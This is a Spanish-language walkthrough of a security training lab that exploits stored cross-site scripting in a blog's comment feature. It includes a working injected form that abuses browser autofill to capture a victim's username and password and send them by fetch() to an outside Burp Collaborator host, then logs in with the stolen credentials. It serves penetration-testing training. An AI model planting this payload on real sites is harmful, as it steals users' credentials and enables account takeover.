Entrada

XSS Lab 23

XSS Lab 23

Skills

  • Exploiting cross-site scripting to capture passwords

    Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad de stored XSS en la función de comentarios del blog. Un usuario víctima simulado ve todos los comentarios después de que se publiquen. Para resolver el laboratorio, debemos explotar la vulnerabilidad para exfiltrar el nombre de usuario y la contraseña de la víctima, luego usar estas credenciales para iniciar sesión en la cuenta de la víctima


Resolución

Al acceder a la web nos sale esto

Si pulsamos sobre View post vemos que tenemos una sección en la que podemos hacer comentarios

Al hacer un comentario nos mete el input en unas etiquetas <p></p>

Sin embargo, si intentamos inyectar algo entre etiquetas <h1></h1> vemos que nos inyecta las etiquetas con su contenido y deja las <p></p> vacías

Si nos abrimos el inspector de Chrome y le echamos un vistazo a las cookies vemos que tienen las flags (HttpOnly y Secure). HttpOnly nos impide acceder a la cookie a través de JavaScript y Secure nos obliga a que la cookie solo se transmita a través de conexiones seguras HTTPS

Debido a que podemos inyectar código HTML podemos crear un formulario y aprovechar el autocompletado del navegador para obtener las credenciales. En esta web https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/autocomplete nos detalla como podemos usar el atributo autocomplete y los requerimientos necesarios para que se ejecute correctamente. El atributo autocomplete a parte de on y off tiene varios valores interesante los cuales se pueden ver accediendo a la web mencionada anteriormente, entre estos valores están username, nickname, new-password, current-password y email entre otros. He creado este formulario se aprovecha del autocompletado del navegador para obtener las credenciales del usuario administrador

1
2
3
4
5
6
7
8
9
10
11
12
13
<form action="#" method="post">
  <input type="text" id="loginUsername" name="username" autocomplete="on" placeholder="Introduce tu nombre de usuario" required>
  <input type="password" id="loginPassword" name="password" autocomplete="on" placeholder="Introduce tu contraseña" required onchange="
    if(this.value.length) {
      fetch('https://7t1e3i5rp0jhqj79js8c833qchi8aw0kp.oastify.com', {
        method: 'POST',
        mode: 'no-cors',
        body: loginUsername.value + ':' + this.value
      });
    }
  ">
  <button type="submit">Enviar</button>
</form>

Una vez publicado este comentario nos vamos a Burpsuite Collaborator y obtenemos el nombre de usuario y la contraseña de los usuarios

Pulsamos sobre My account y nos logueamos con las credenciales

Esta entrada está licenciada bajo CC BY 4.0 por el autor.